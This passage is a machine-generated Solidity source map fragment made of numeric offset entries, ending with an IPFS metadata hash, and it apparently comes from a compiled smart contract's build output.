:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;5584:251::-;5654:6;5707:2;5695:9;5686:7;5682:23;5678:32;5675:52;;;5723:1;5720;5713:12;5675:52;5755:9;5749:16;5774:31;5799:5;5774:31;:::i;6753:456::-;6841:6;6849;6857;6910:2;6898:9;6889:7;6885:23;6881:32;6878:52;;;6926:1;6923;6916:12;6878:52;-1:-1:-1;;6971:16:1;;7077:2;7062:18;;7056:25;7173:2;7158:18;;;7152:25;6971:16;;7056:25;;-1:-1:-1;7152:25:1;6753:456;-1:-1:-1;6753:456:1:o;7493:277::-;7560:6;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7661:9;7655:16;7714:5;7707:13;7700:21;7693:5;7690:32;7680:60;;7736:1;7733;7726:12;9803:128;9870:9;;;9891:11;;;9888:37;;;9905:18;;:::i;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i;10775:135::-;10814:3;10835:17;;;10832:43;;10855:18;;:::i;:::-;-1:-1:-1;10902:1:1;10891:13;;10775:135::o;10915:217::-;10955:1;10981;10971:132;;11025:10;11020:3;11016:20;11013:1;11006:31;11060:4;11057:1;11050:15;11088:4;11085:1;11078:15;10971:132;-1:-1:-1;11117:9:1;;10915:217::o;11539:127::-;11600:10;11595:3;11591:20;11588:1;11581:31;11631:4;11628:1;11621:15;11655:4;11652:1;11645:15;11803:959;12065:4;12113:3;12102:9;12098:19;12144:6;12133:9;12126:25;12187:6;12182:2;12171:9;12167:18;12160:34;12230:3;12225:2;12214:9;12210:18;12203:31;12254:6;12289;12283:13;12320:6;12312;12305:22;12358:3;12347:9;12343:19;12336:26;;12397:2;12389:6;12385:15;12371:29;;12418:1;12428:195;12442:6;12439:1;12436:13;12428:195;;;12507:13;;-1:-1:-1;;;;;12503:39:1;12491:52;;12572:2;12598:15;;;;12563:12;;;;12539:1;12457:9;12428:195;;;-1:-1:-1;;;;;;;12679:32:1;;;;12674:2;12659:18;;12652:60;-1:-1:-1;;12743:3:1;12728:19;12721:35;12640:3;11803:959;-1:-1:-1;;;11803:959:1:o

ipfs://f5c604f6e389ff88406b9e3fd646c0718662c7ccbb396c3451eda36b4033c2d9